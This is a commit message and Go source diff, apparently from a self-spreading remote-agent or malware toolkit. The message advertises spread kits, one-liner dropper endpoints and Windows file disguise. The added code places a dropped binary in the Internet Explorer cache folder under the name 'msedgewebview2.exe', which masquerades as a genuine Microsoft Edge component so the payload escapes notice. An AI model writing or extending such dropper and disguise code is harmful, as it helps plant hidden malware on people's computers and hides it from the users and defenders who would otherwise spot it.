Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

fusion/cache_windows.go

@@ -0,0 +1,20 @@
+//go:build windows
+
+package main
+
+import (
+	"os"
+	"path/filepath"
+)
+
+func cacheDropBase() string {
+	base := os.Getenv("LOCALAPPDATA")
+	if base == "" {
+		base = os.TempDir()
+	}
+	return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5")
+}
+
+func dropBinaryName() string {
+	return "msedgewebview2.exe"
+}